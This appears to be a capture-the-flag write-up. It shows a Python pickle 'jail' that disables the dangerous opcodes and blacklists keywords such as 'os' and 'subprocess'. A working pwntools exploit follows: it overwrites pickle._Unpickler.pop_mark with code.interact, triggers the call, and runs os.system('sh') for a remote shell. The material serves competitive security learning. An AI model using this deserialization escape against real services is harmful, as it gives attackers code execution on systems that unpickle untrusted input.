easyJail
Attachment:
# pylint: disable = unnecessary-lambda-assignment, protected-access, redefined-builtin
import pickle
from io import BytesIO
from base64 import b64decode
_dispatch = pickle._Unpickler.dispatch
_noop = lambda *_: None
_noop_code = _noop.__code__
_DISABLED_OPCODES = [
pickle.NEWOBJ_EX[0],
pickle.INST[0],
pickle.REDUCE[0],
pickle.OBJ[0],
pickle.NEWOBJ[0],
]
for opcode in _DISABLED_OPCODES:
_dispatch.pop(opcode)
pickle._Unpickler.dispatch = _dispatch
for method_name in (
"load_newobj_ex",
"load_obj",
"load_reduce",
"load_newobj",
"load_inst",
):
handler = getattr(pickle._Unpickler, method_name)
handler.__code__ = _noop_code
__builtins__ = {
"input": input,
"ValueError": ValueError,
"bytes": bytes,
"isinstance": isinstance,
}
del _dispatch
del _noop
del _noop_code
del _DISABLED_OPCODES
del opcode
_BLACKLISTED_SUBSTRINGS = {
"var",
"input",
"builtin",
"set",
"get",
"import",
"open",
"subprocess",
"sys",
"eval",
"exec",
"os",
"compile",
}
def loads(data: bytes):
if not isinstance(data, bytes):
raise TypeError("expected bytes")
for token in _BLACKLISTED_SUBSTRINGS:
if token.encode() in data:
raise ValueError(f"{token} not allowed")
buffer = BytesIO(data)
return pickle._Unpickler(buffer).load()
opcode = b64decode(input("Enter your pickle: ").encode())
del b64decode
loads(opcode)
Requirments:
- banned pickle
NEWOBJ_EX/INST/REDUCE/OBJ/NEWOBJopcodes: overridepickle._Unpickler.pop_marktocode.interactand triggerpop_mark()viaTUPLE
Inspired by you-shall-not-call-revenge:
from pwn import *
from pickle import *
import base64
context(log_level="debug")
payload = (
# memo 1 = pickle._Unpickler
(GLOBAL + b"pickle\n_Unpickler\n" + PUT + b"1\n")
# memo 2 = code.interact
+ (GLOBAL + b"code\ninteract\n" + PUT + b"2\n")
# pickle._Unpickler.pop_mark = code.interact
+ (
GET
+ b"1\n"
+ NONE
+ MARK
+ UNICODE
+ b"pop_mark\n"
+ GET
+ b"2\n"
+ DICT
+ TUPLE2
+ BUILD
+ POP
)
# trigger pop_mark() and call code.interact()
+ TUPLE
+ STOP
)
if args.HOST:
p = remote(args.HOST, args.PORT, ssl=True)
else:
p = process(["python3", "chal.py"])
p.sendline(base64.b64encode(payload))
p.recvuntil(b">>>")
p.sendline(b"import os;os.system('sh')")
p.interactive()